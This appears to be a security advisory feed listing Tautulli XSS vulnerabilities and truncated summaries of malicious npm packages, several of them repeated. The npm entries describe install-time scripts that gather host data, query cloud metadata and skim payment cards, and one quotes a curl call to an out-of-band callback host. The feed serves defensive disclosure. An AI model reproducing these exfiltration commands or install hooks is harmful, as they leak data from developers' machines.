CVE-2026-45381 Tautulli: Reflected XSS in `/search` endpoint

Tautulli is a Python based monitoring and tracking tool for Plex Media Server. Prior to 2.17.2, the /search endpoint inserts its user-controlled query parameter into a JavaScript string in data/interfaces/default/search.html using manual escaping that handles quotes and slashes but not backslashe...

CVE-2026-45381

Tautulli is a Python-based monitoring and tracking tool for Plex Media Server . In versions prior to 2.17.2 , the /search endpoint inserts a user-controlled query parameter into a JavaScript string in data/interfaces/default/search.html using manual escaping that handles quotes and slashes but no...

EUVD-2026-84070

Tautulli is a Python based monitoring and tracking tool for Plex Media Server. Prior to 2.17.2, the /search endpoint inserts its user-controlled query parameter into a JavaScript string in data/interfaces/default/search.html using manual escaping that handles quotes and slashes but not backslashe...

CVE-2026-49995 Tautulli: Stored Cross-Site Scripting (XSS) in the newsletter

Tautulli is a Python based monitoring and tracking tool for Plex Media Server. Prior to 2.17.2, the newsletter cron field stored in the newsletters table is inserted by data/interfaces/default/newsletterconfig.html into a JavaScript string without safe JSON encoding. An administrator or caller wi...

CVE-2026-49995 Tautulli: Stored Cross-Site Scripting (XSS) in the newsletter

Tautulli is a Python based monitoring and tracking tool for Plex Media Server. Prior to 2.17.2, the newsletter cron field stored in the newsletters table is inserted by data/interfaces/default/newsletterconfig.html into a JavaScript string without safe JSON encoding. An administrator or caller wi...

MAL-2026-16360 Malicious code in @uh-platform/nadaver (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 66c8fbea9d97af1bd5c48147e744ff5e0feaded686c613591e7defd2f75e2e17 On npm install, the package's preinstall script executes node index.js, which shells out curl to...

Malicious code in @uh-platform/nadaver (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 66c8fbea9d97af1bd5c48147e744ff5e0feaded686c613591e7defd2f75e2e17 On npm install, the package's preinstall script executes node index.js, which shells out curl to...

MAL-2026-16359 Malicious code in @uh-platform/domain-widget (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1fa27cef146dec157eaf78519d56ff2ef696f32e99746cdabea9e30be7c03b96 Package @uh-platform/[email protected] is a scoped placeholder with an empty author, generic description, and no real functionality. Its...

Malicious code in @uh-platform/domain-widget (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1fa27cef146dec157eaf78519d56ff2ef696f32e99746cdabea9e30be7c03b96 Package @uh-platform/[email protected] is a scoped placeholder with an empty author, generic description, and no real functionality. Its...

Malicious code in @uh-platform/cloud (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 83c05c6e1f06ed934a3ec5f9cc0390716163153b53022c9f414d61f70f1cb451 The package's preinstall lifecycle script index.js runs childprocess.exec of curl "http://$hostname.pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/",...

MAL-2026-16358 Malicious code in @uh-platform/cloud (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 83c05c6e1f06ed934a3ec5f9cc0390716163153b53022c9f414d61f70f1cb451 The package's preinstall lifecycle script index.js runs childprocess.exec of curl "http://$hostname.pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/",...

MAL-2026-16337 Malicious code in my-cdn-script (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e634f64d71797bbefdaf62bd0f2092d1cace77af2a07fd41e7d2347a14bb001b [email protected] ships a client-side payment-card skimmer in script.js. When loaded on a checkout page, the script injects a fake card-input form...

Malicious code in my-cdn-script (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e634f64d71797bbefdaf62bd0f2092d1cace77af2a07fd41e7d2347a14bb001b [email protected] ships a client-side payment-card skimmer in script.js. When loaded on a checkout page, the script injects a fake card-input form...

Malicious code in sorrawit-dev-helper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c64040dcfbbdb6ce434caf3cd5bd2baa518cc00970281a69f5309d57a4621233 package.json declares a postinstall lifecycle script that runs automatically on npm install. The script reads /tmp/flag.txt from the installer's...

Malicious code in action-slack-message-root (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6d5f3deb6623e5340770d4e8866adc3d7239938e5adefc4b699c897287d84eba package.json declares scripts.preinstall = 'node index.js', which runs automatically on npm install. index.js collects host reconnaissance —...

MAL-2026-16323 Malicious code in action-slack-message-root (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6d5f3deb6623e5340770d4e8866adc3d7239938e5adefc4b699c897287d84eba package.json declares scripts.preinstall = 'node index.js', which runs automatically on npm install. index.js collects host reconnaissance —...

Malicious code in bulk-add-sdk (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b131d84c624f7eb89d720ed0ec1435eef5f5f9ff800d1cef88b20c18c7374023 Package declares scripts.install: "node extract.js thd-orangepay", causing extract.js to run automatically on npm install. The script collects...

Malicious code in @baanx/solana-lib (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6462ecac2764fc9cf78d47ee57fec1fd3d6a0cf573ee02eaddcc2e5b5f3f0d7e The package declares scripts.install = node index.js, so npm install @baanx/solana-lib automatically executes index.js, which loads lib/core.js. That...

MAL-2026-16300 Malicious code in @baanx/solana-lib (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6462ecac2764fc9cf78d47ee57fec1fd3d6a0cf573ee02eaddcc2e5b5f3f0d7e The package declares scripts.install = node index.js, so npm install @baanx/solana-lib automatically executes index.js, which loads lib/core.js. That...

Malicious code in @nimbusedge2/authxsas (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0146259024cc8ef3a174ff98571fe4af975b3eecf9184a0a5339d42808243d10 The package's package.json declares a preinstall script that fires unconditionally on npm install. The script uses curl to query the cloud instance...